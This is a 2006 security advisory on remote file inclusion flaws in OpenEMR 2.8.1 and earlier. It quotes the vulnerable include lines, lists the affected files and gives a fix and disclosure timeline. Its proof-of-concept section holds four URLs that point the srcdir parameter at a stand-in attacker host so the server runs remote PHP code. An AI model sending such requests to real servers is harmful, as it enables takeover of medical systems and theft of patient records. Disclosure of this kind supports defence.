OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability

2006.11.09
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------------------------------------------------------------------ ----------------------- [ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------------- Author : Dedi Dwianto a.k.a the_day Date Found : November, 01nd 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv60-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : OpenEMR version : <=2.8.1 URL : http://www.oemr.org OpenEMR is Open Source electronic medical record and medical practice management software. OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic health records and scheduling software. OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger, and access controls with php-GACL. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability in interface/billing/billing_process.php -----------------------interface/billing/billing_process.php------------ - .... <? ... include_once("$srcdir/patient.inc"); include_once("$srcdir/billrep.inc"); ... ---------------------------------------------------------- Input passed to the "$srcdir" parameter in billing_process.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : interface/billing/billing_report.php interface/billing/billing_report_xml.php interface/billing/print_billing_report.php login.php interface/batchcom/batchcom.php interface/login/login.php interface/main/main_info.php interface/main/main.php interface/new/new_patient_save.php interface/practice/ins_search.php interface/logout.php interface/reports/custom_report_range.php interface/reports/players_report.php interface/reports/front_receipts_report.php interface/usergroup/facility_admin.php interface/usergroup/usergroup_admin.php interface/usergroup/user_info.php interface/usergroup/facility_admin.php interface/usergroup/facility_admin.php custom/import_xml.php New Vulnerability in OpenEMR Version 2.8.1 ----library/translation.inc.php---- <? .... include_once($GLOBALS['srcdir'] . '/sql.inc'); .... ?> Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?s rcdir=http://atacker.com/inject.txt? http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcd ir=http://atacker.com/inject.txt? http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inj ect.txt? http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[src dir]=http://atacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $srcdir affected files. - Turn off register_globals Timeline : ~~~~~~~~~ 01 - 11 - 2006 bugs found 01 - 11 - 2006 vendor contacted 07 - 11 - 2006 public disclosure ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,bomm_3x,matdhule,angelia ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------


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